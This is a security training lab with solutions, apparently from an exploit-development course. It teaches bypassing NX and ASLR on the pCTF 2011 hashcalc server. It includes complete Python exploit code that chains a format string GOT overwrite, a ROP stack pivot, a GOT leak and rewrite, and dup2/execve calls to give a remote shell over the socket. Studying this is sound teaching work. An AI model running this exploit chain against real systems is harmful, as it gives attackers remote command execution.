0% found this document useful (0 votes)
20 views

Lab12 Linux NX and ASLR Bypass

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
20 views

Lab12 Linux NX and ASLR Bypass

Uploaded by

Saw Gyi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 30

Linux NX & ASLR Bypass

(Format String
Exploitation + ROP)

LAB 12

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 1
Exploitation + ROP)
SCENARIO
There is a vulnerable binary from pCTF 2011 named hashcalc. The binary was placed on a
Debian6 virtual machine by your red team manager. Your task is to create an exploit that
attacks the hashcalc server remotely and allows for command execution. It is not
necessary to obtain an interactive shell.

You will be given access to that Debian machine. You can use it for debugging purposes, but
in the end you should produce an exploit that can attack the hashcalc service from a remote
machine. There is no firewall on the Debian machine.

This is where similarities with Lab 9 end.

Suppose that this time, NX is in place alongside ASLR.

This means, that your exploit should leverage both the format string vulnerability and
ROP gadgets in order to execute a command on the remote machine.

GOALS
• Create a remote exploit that takes advantage of the vulnerable hashcalc server. You
should achieve remote command execution, (root-level access is not required).
Spawning an interactive shell is also not required. Feel free to do so though, if you feel
confident.
• The tasks section will guide you through the suggested exploitation approach.
However, feel free to find your own gadgets / approach to exploit the binary.

WHAT YOU WILL LEARN


• Exploiting advanced format string vulnerabilities
• Chaining format string with Return Oriented Programming

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 2
Exploitation + ROP)
RECOMMENDED TOOLS
• Gdb
• Text editor
• Python or other scripting language
• Linus binutils

NETWORK CONFIGURATION &


CREDENTIALS
• Penetration tester’s Subnet: 172.16.172.0/24

• Vulnerable machine: 172.16.172.112

• Connection Type: SSH

Username: xdev
Password: xdev

TASKS
TASK 1: RECOGNIZE THE EXPLOITABLE CONDITIONS
Login to the remote Debian machine and inspect the hashcalc binary. What does it do?
Where does it store its output? How do you communicate with it? Can you spot the
vulnerability? Are there any exploit countermeasures in place?

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 3
Exploitation + ROP)
TASK 2: CONFIRM THE EXISTENCE OF A FORMAT STRING
VULNERABILITY
Further analyze the target binary and look for a convenient location to abuse the format
string vulnerability you identified in Task 1. The strings tool may give you a clue.

TASK 3: USE THE FORMAT STRING VULNERABILITY TO


LEAK THE REMOTE MACHINE’S GLOBAL OFFSET
TABLE
Leverage the format string vulnerability to perform an information leak (make the target
binary send you its Global Offset Table). You might want to utilize a ROP gadget to pivot
the stack as well as the send() function. Hint: Use the below gadget to change the
execution flow so that it starts to execute the ROP chain from the user-supplied buffer.

(gdb) x/5i 0x8049106


0x8049106: add esp,0x54
0x8049109: pop ebx
0x804910a: pop esi
0x804910b: pop ebp
0x804910c: ret

TASK 4: ANALYZE THE LEAKED GOT. FIND ADDRESSES


OF USEFUL FUNCTIONS .
Using the leaked GOT, find the libc address of dup2() and execve(). You can make use of
relative addressing.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 4
Exploitation + ROP)
TASK 5: CONSTRUCT A FAKE GOT AND SEND IT BACK TO
THE SERVER
Find areas of the GOT that will not be used after the overwritten strlen is executed.

Smuggle the string “/bin/sh\x00” within the new GOT, as well as known addresses of libc.

This way, you can achieve command execution instantly (since knowing the libc address can
allow you to launch a ret2libc-style attack) or construct the GOT prototype and follow the
approach of the next task (task 5).

In order to return to recv within the previously started ROP chain, you can utilize the
following gadget.

(gdb) x/4i 0x8048c1a


0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret

TASK 6: FINISH THE ROP CHAIN AND EXECUTE A


REMOTE COMMAND
As the GOT is hijacked and now contains known functions and the /bin/sh string, we can add
two last chains to the payload.

A dup2 call (three times, for stdin, stdout and stderr) and then execve. You can use following
gadget to return to the rest of payload.

(gdb) x/3i 0x8048e31


0x8048e31: pop ebx
0x8048e32: pop ebp
0x8048e33: ret

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 5
Exploitation + ROP)
SOLUTIONS

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 6
Exploitation + ROP)
Below, you can find solutions for each task. Remember though that you can follow your own
strategy (which may be different from the one explained in the following lab).

TASK 1: RECOGNIZE THE EXPLOITABLE CONDITIONS


After loggin through SSH, we see the target binary present in the user’s current directory.

The binary cannot be run multiple times (notice the bind function error below). This might
mean, that the binary started a server. Let’s confirm that using netstat, as follows.

In order to view the exploit countermeasures applied to that binary, you might want to copy
it locally and then examine with checksec.

Also, it is possible to examine whether ASLR is enabled on the remote machine, as follows.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 7
Exploitation + ROP)
We will be dealing with NX, Stack cookie and ASLR. Let’s try to interact with the binary by
connecting through netcat to the port shown in netstat’s output.

TASK 2: CONFIRM THE EXISTENCE OF A FORMAT STRING


VULNERABILITY
This time, no vulnerability can be detected by interacting with the stdin of the server.
However, using strings on the binary lists a path that seems like a log file of the server.

A view into the log file allows to confirm that the data sent to the server is stored there.

We are able to clear the log by overwriting the file content and observe what kind of output
is stored in there (following the covered format string discovery method), as follows.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 8
Exploitation + ROP)
The AAAA’s are reflected back as the 5th “argument”. Note that a basckslash is used in the
direct parameter access method in order to escape the dollar sign.

It is now confirmed that we can interact with our own supplied data, which is the foundation
for a write (%n) primitive.

Why focus on/suspect a format string vulnerability, you may ask.

Format string vulnerabilities greatly facilitate ASLR bypasses (via leaks or arbitrary
writes). Seeing ASLR being enabled, we hoped that such a vulnerability exists and
looked for one.

TASK 3: USE THE FORMAT STRING VULNERABILITY TO


LEAK THE REMOTE MACHINE’S GLOBAL OFFSET
TABLE
Choose a function that is called directly after the vulnerable printf-like call and overwrite it
leveraging the format string vulnerability.

Hint: You might want to use the set follow-fork-mode child gdb command together with gdb
-p `pidof hashcalc` in order to effectively debug the binary. Also, you might like gdbserver
for remote debugging (so you can use your gdb plugin of choice without installing it on the
remote Debian machine)

Having chosen the target for the overwrite, perform the overwrite.

Due to NX being in place (supposedly), we will use a ROP gadget that will transfer the
execution flow back to the stack. The simplest case would be to overwrite a function that is
called directly by the vulnerable printf-like (just an assumption at this point) function with
an address that will start to execute a ROP-chain supplied inside the user buffer. Let’s start

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 9
Exploitation + ROP)
by examining which vulnerable function is responsible for the format string vulnerability
and then, we will try to spot any function call that happens right after it.

We want to target a function right after the vulnerable call because as we perform an
overwrite, we would like to make use of it as soon as possible – if we target a function that is
called at the end, or after a conditional instruction, the program might change its state in the
meantime making the exploitation will be more difficult.

By checking the binary with objdump we can see that the hashcalc binary utilizes several
printf-like functions. However, if you consult with the documentation only one of them can
write to a file and that function is fprintf. Let’s place a breakpoint on this function.

In order to check which one of the above is the root cause of the vulnerability, let’s attach
gdb to the process (as we cannot spawn a new one, since it will not be able to start the
server), as follows.

Then, we can set the breakpoint and allow execution.

It doesn’t matter if we interact with the server from the Debian or our own attacker machine,
as it is remote anyway. To be on the same page, any interaction is done from a Kali attacker
machine.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 10
Exploitation + ROP)
If you now try to connect to the binary, you will notice that no breakpoint is hit. This is
because the interaction happens against a child process that is spawned using the fork()
function (for each connection).

This can be confirmed by viewing the disassembly of the servier with objdump, as follows.

fork() is called right after accepting the connection. Luckily, gdb has the following capability.

set follow-fork-mode child

The above forces it to trace the child process. Upon setting that option, it is possible to debug
the server.

As we now connect to the server, the breakpoint is hit. We can step into several instructions,
as follows.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 11
Exploitation + ROP)
Further inspection reveals that vfprintf is called.

When at the first instruction of vsprintf, as we step into twice more and view the stack we
can see that the user buffer is placed into the printf call.

As the first address on the stack is the return address, let’s place a breakpoint on it to return
to the caller and allow execution. This way we will try to spot any function that is called next
to the vulnerable call.

The next function called has no symbol, but we can navigate to it with stepi.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 12
Exploitation + ROP)
Using that technique, we see that it is unclear what the function at 0x804910d does.

However, there is a nearby strlen() call. Strlen has a plt entry, which can be disassembled so
we can know its GOT address.

Let’s choose strlen as our target and overwrite the strlen GOT’s entry with the address of the
ROP gadget.

An exploit skeleton has to be created. We will utilize the short writes combined with direct
parameter access in order to write the ROP gadget address to the GOT entry of strlen.

As the process of manually calculating the proper value of a short write to achieve an
arbitrary result is explained thouroughly in the Format String Vulnerability slides, find
below a python script for that calculation.

We have already posted a hint why that gadget should be used – simply, the user supplied
buffer is at certain distance from the ESP. If we increase the ESP, we will be able to have our

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 13
Exploitation + ROP)
buffer at the top of the stack. And if we can chain gadgets (pieces of code ending with “ret”
instructions”) in the user buffer and start executing that buffer, we can continue the chain as
long as we constantly return to the stack.

Let’s send the following exploit code:

import socket
import time
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

# connect to the target


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

got_strlen_addr = 0x0804a41c

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt)) # padding for the stack
buf += "CCCC" # we want to make EIP 0x43434343 for now

s.send(buf)

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 14
Exploitation + ROP)
s.close()

Now, in order to test the exploit skeleton, we need to:

• Detach the debugger (simply execute q and then input yes)


• Re-attach it
• Execute “set follow-fork-mode child”
• Launch the exploit

The process is shown on the below screenshot.

Let’s now place a break point at the gadget and then run the exploit skeleton.

The breakpoint is hit.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 15
Exploitation + ROP)
By disassembling 5 instructions at eip, we confirm that the gadget is about to be executed.
Let’s execute the first instruction of the gadget by pressing stepi, as follows.

Now it is clear that three series of pops will remove the three first instructions from the stack
and end up in 0x43434343.

Of course, any other gadget could have been used but it would have required different
padding of the user buffer. That being said, the user-supplied buffer is near the top of the
stack when calling strlen (which is overwritten with an arbitrary address). This is a solid
attack path, since by overwriting strlen with a ROP gadget that will decrease the stack and
redirect the execution flow there we can start to execute a custom ROP-chain.

By continuing the execution we notice that we have achieved an arbitrary EIP overwrite and
what’s even more important, this overwrite comes from the stack. As we have NX active we
cannot execute data from the stack, but we can still place addresses and parameters on the
stack. We can now extend the payload buffer by calling send(), which will allow us to receive
the GOT table.

ssize_t send(int sockfd, const void *buf, size_t len, int


flags);

We need to place the parameters above on the stack in order to call send().

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 16
Exploitation + ROP)
• Socket file descriptor. File descriptors are explained in detail in the Linux
Shellcoding module. By viewing the file descriptors of the child process (has a higher
pid as it was spawned after the parent), we can see that when someone is connecting,
the client socket is always 5.

• Buf will be the base address of .got.plt section, while length will be the .got.plt’s
length (readelf -a [binary] can help you identify the above).

• Flags is 0.

The address of send() is taken from gdb’s “info functions” utility. We can use the plt address.

The below exploit code allows for leaking the .got.plt section utilizing send(). It finaly returns
to “CCCC”. The CCCC’s will be changed later to another gadget address.

import socket
import time
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
plt_send_addr = 0x08048994
socket_fd = 5

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 17
Exploitation + ROP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

got_strlen_addr = 0x0804a41c

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + "CCCC" + pack("<I", socket_fd) +
pack("<I", got_plt_start) + pack("<I", got_plt_start_size) + pack("<I", 0) +
"JUNK" #JUNK is 4-byte padding for the buffer. If we return to CCCC it can be
removed from there, but as we will chain the instruction with another gadget,
that gadget requires some padding to accurately return to the stack. So JUNK
is here because of the next task.

s.send(buf)

got_table = s.recv(8192) # size should be 0x94


print got_table
print ".got.plt: %d" % len(got_table)

s.close()

The exploit above leads to the following, when executed.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 18
Exploitation + ROP)
The remote binary sent its .got.plt section to the remote client. We will now analyze the leak
and extract interesting information from it.

TASK 4: ANALYZE THE LEAKED GOT. FIND ADDRESSES


OF USEFUL FUNCTIONS .
As per the hint in the task’s description, we are looking for libc addresses in the Global Offset
Table we leaked.

Interesting functions are dup2() and execve(), as they match the solution we prepared for
that lab. Note that your way of exploiting this challenge might be different.

We chose dup2() and execve() mainly because they are two functions that paired together
may allow us to execute a remote command.

- dup2 will allow to connect the bash I/O with the remote socket
- execve will allow to spawn the bash shell
- Together, they will allow to execute a command on the remote system.

We can first check libc addresses in the binary during debugging:

As the remote binary uses fork(), each child (forked upon a new connection) has the same
memory layout as the parent. This means, we can just check the address of libc in the main
process.

While studying the output of the GOT, we can retrieve the libc addresses using Python. We
will use some functions as reference to calculate the addresses of certain functions.

We know that .got.plt starts at 0x0804a3cc. Let’s find GOT addresses using gdb’s command
info functions.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 19
Exploitation + ROP)
Using the identified PLT addresses we are able to view GOT entries.

As you can see above, setreuid is at 0x804a440 while fork is at 0x804a44c

got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_section = 0x0804a3cc

Based on this, we are able to calculate the offset from the base of GOT.

setreuid_offset = got_setreuid_addr - got_plt_section


fork_offset = got_fork_addr - got_plt_section

Moreover, let’s check the libc on the remote Debian machine to see how these functions are
placed inside libc.

Also, we need to check which library is used by the target binary.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 20
Exploitation + ROP)
We see that the second library listed is a symlink to another. Let’s examine that library, as
follows.

objdump -T /lib/i686/cmov/libc.so.6 | grep -w -e setreuid -e dup2


objdump -T /lib/i686/cmov/libc.so.6 | grep -w -e fork -e execve

We can now calculate the two offsets: setreuid from dup2 and fork from execve

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

Based on those offsets (location of setreduid and fork in the GOT) we can extract libc
addresses (already resolved by the back-end remote binary).

Based on the offsets in libc, we can calculate the locations of execve and dup2, as follows.

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address

TASK 5: CONSTRUCT A FAKE GOT AND SEND IT BACK TO


THE SERVER

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 21
Exploitation + ROP)
First, we will need to return from send() to the stack. In order to do that, we need to replace
the previous return address “CCCC” with a gadget that will help us return the execution back
to the stack. As per the hint we will use the below gadget. Specifically, we will not return to
the recv function, but we will cause the return to an address on the stack (where the address
of recv will be stored).

(gdb) x/4i 0x8048c1a


0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret

In order to send anything back to the server, we will need to expand the ROP chain. We need
to combine recv() with its respective parameters:

ssize_t recv(int sockfd, void *buf, size_t len, int flags);

• sockfd will be again 5, as we want to receive data from the client socket
• buf will be a pointer to the .got.plt section
• size will be the size of the section
• flags will be zero again

We will have to add the following data to the payload buffer.

buf += pack("<I", plt_recv_addr) + "CCCC" + pack("<I", sock_fd) + pack("<I",


got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0)

• We use the known recv() address from PLT


• We return to CCCC (again, if the next gadget is chained with the current one this will
be replaced with a return to the stack)
• All other arguments are placed

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 22
Exploitation + ROP)
As you noticed in the previous step, a 4-byte padding was added at the end of send(). This is
because if we want to return to the stack after executing send(), we need to “compensate”
for those 2 pops you see on the suggested gadget below.

x/4i 0x8048c1a
0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret

Specifically, as the gadget decreases the stack by a certain amount of bytes, we need to place
an additional 4 bytes (padding) so that the number of bytes the function call together with
its arguments consist of plus the padding matches the number of bytes taken off the stack by
that gadget.

If there will be another gadget placed after the recv() call, then the “CCCC” will be again
replaced with the address of the above gadget and the 4-bytes padding will be added to the
current buffer.

We now know how to send data to the remote GOT. Now, let’s consider what we would like
to send. The fake GOT will be almost the same apart from two differences:

• We will write the /bin/sh\x00 string to the end of the GOT, as this area will not be
used.
• We will write the resolved addresses of dup2() and execve() at a known position so
we can simply call them using that address, by referencing it in a ROP-chain. As we
know the addresses inside the GOT of setreuid and fork, we will use them again.

new_got_table = "/bin/sh\x00" + pack("<I", 0) + got_table[12:setreuid_offset]


+ pack("<I", libc_dup2_addr) + got_table[setreuid_offset+4:fork_offset] +
pack("<I", libc_execve_addr) + got_table[fork_offset+4:]

The following exploit will hijack the GOT and replace it with the modified version.

import socket
import time

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 23
Exploitation + ROP)
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4

# connect to the target


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 24
Exploitation + ROP)
buf += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
#Recv now returns to the ROP gadget. We could make it return to a dummy
address but obviously, this is not end of the ROP chain so now we are ready
to add other parts.
s.send(buf)

got_table = s.recv(8192) # size should be 0x94


print got_table
print ".got.plt: %d" % len(got_table)

setreuid_offset = got_setreuid_addr - got_plt_start


fork_offset = got_fork_addr - got_plt_start

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address

new_got_table = "/bin/sh\x00" + pack("<I", 0) + got_table[12:setreuid_offset]


+ pack("<I", libc_dup2_addr) + got_table[setreuid_offset+4:fork_offset] +
pack("<I", libc_execve_addr) + got_table[fork_offset+4:]

s.send(new_got_table)

s.close()

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 25
Exploitation + ROP)
TASK 6: FINISH THE ROP CHAIN AND EXECUTE A
REMOTE COMMAND.
As a result of replacing the GOT of the remote process, we can now assume the following.

plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr

This is because the GOT entries for those functions were overwritten in the modified GOT
table. So PLT which points to GOT, will now call completely different functions.

Based on these addresses, we will finish the ROP chain by adding calls to dup2 and execve,
as follows.

# call dup2 three times for stdin, stdout and stderr


buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 0)
buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 1)
buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 2)

#call execve with "/bin/bash" which is stored at the end of GOT now.
got_plt_start+8 points to 0x0. We have now covered the two arguments of
execve. Also, this is end of the ROP chain so we don’t have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" + pack("<I", got_plt_start) +
pack("<I", got_plt_start + 8) + pack("<I", got_plt_start + 8)

After these calls, the remote socket will communicate with the newly-spawned bash. So by
sending anything to the server, we will communicate with that bash shell. A function can be
written in order to make that communication convenient.

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 26
Exploitation + ROP)
#now the shell is spawned, the socket interacts with the backend bash
def send_cmd(s, cmd):
s.send(cmd+"\n")
msg = s.recv(8192)
print msg

After the call to send the modified GOT:

print "[+] Spawning shell... "


time.sleep(0.5)

while True:
c = raw_input("$ ")
send_cmd(s, c)

After the modifications, remote command execution is achieved.

The full exploit code is shown below.

import socket
import time
from struct import pack, unpack

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 27
Exploitation + ROP)
#now the shell is spawned, the socket interacts with the backend bash
def send_cmd(s, cmd):
s.send(cmd+"\n")
msg = s.recv(8192)
print msg

target_ip = "172.16.172.112"
target_port = 30001

got_setreuid_addr = 0x0804a440
got_fork_addr = 0x0804a44c
got_plt_start = 0x0804a3cc
got_plt_start_size = 0x94
got_strlen_addr = 0x0804a41c
socket_fd = 5

libc_setreuid_dup2_offset = 0x000ca630 - 0x000d1c30


libc_fork_execve_offset = 0x000a2aa0 - 0x000a2780

plt_recv_addr = 0x08048844
plt_send_addr = 0x08048994
plt_setreuid_addr = 0x08048984
plt_fork_addr = 0x080489b4

# connect to the target


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)

got_strlen_addr = 0x0804a41c

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 28
Exploitation + ROP)
# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) +
"%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt))
buf += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"
buf += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I",
socket_fd) + pack("<I", got_plt_start) + pack("<I", got_plt_start_size) +
pack("<I", 0) + "JUNK"

plt_dup2_addr = plt_setreuid_addr
plt_execve_addr = plt_fork_addr

# call dup2 three times for stdin, stdout and stderr


buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 0)
buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 1)
buf += pack("<I", plt_dup2_addr) + pack("<I", 0x08048e31) + pack("<I",
socket_fd) + pack("<I", 2)

#call execve with "/bin/bash" which is stored at the end of GOT now.
got_plt_start+8 points to 0x0. We have now covered the two arguments of
execve. Also, this is end of the ROP chain so we don’t have to add any
padding.
buf += pack("<I", plt_execve_addr) + "CCCC" + pack("<I", got_plt_start) +
pack("<I", got_plt_start + 8) + pack("<I", got_plt_start + 8)

s.send(buf)

got_table = s.recv(8192) # size should be 0x94


print got_table
print ".got.plt: %d" % len(got_table)

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 29
Exploitation + ROP)
setreuid_offset = got_setreuid_addr - got_plt_start
fork_offset = got_fork_addr - got_plt_start

libc_dup2_addr = unpack("<I",
got_table[setreuid_offset:setreuid_offset+4])[0] + libc_setreuid_dup2_offset
#Get addr of dup2 based on the setreuid libc address
libc_execve_addr = unpack("<I", got_table[fork_offset:fork_offset+4])[0] +
libc_fork_execve_offset #Get addr of execve based on the fork libc address

new_got_table = "/bin/sh\x00" + pack("<I", 0) + got_table[12:setreuid_offset]


+ pack("<I", libc_dup2_addr) + got_table[setreuid_offset+4:fork_offset] +
pack("<I", libc_execve_addr) + got_table[fork_offset+4:]

s.send(new_got_table)

print "[+] Spawning shell... "


time.sleep(0.5)

while True:
c = raw_input("$ ")
send_cmd(s, c)

s.close()

© 2019 Caendra Inc. | Hera for XDS | Linux NX & ASLR Bypass (Format String 30
Exploitation + ROP)

You might also like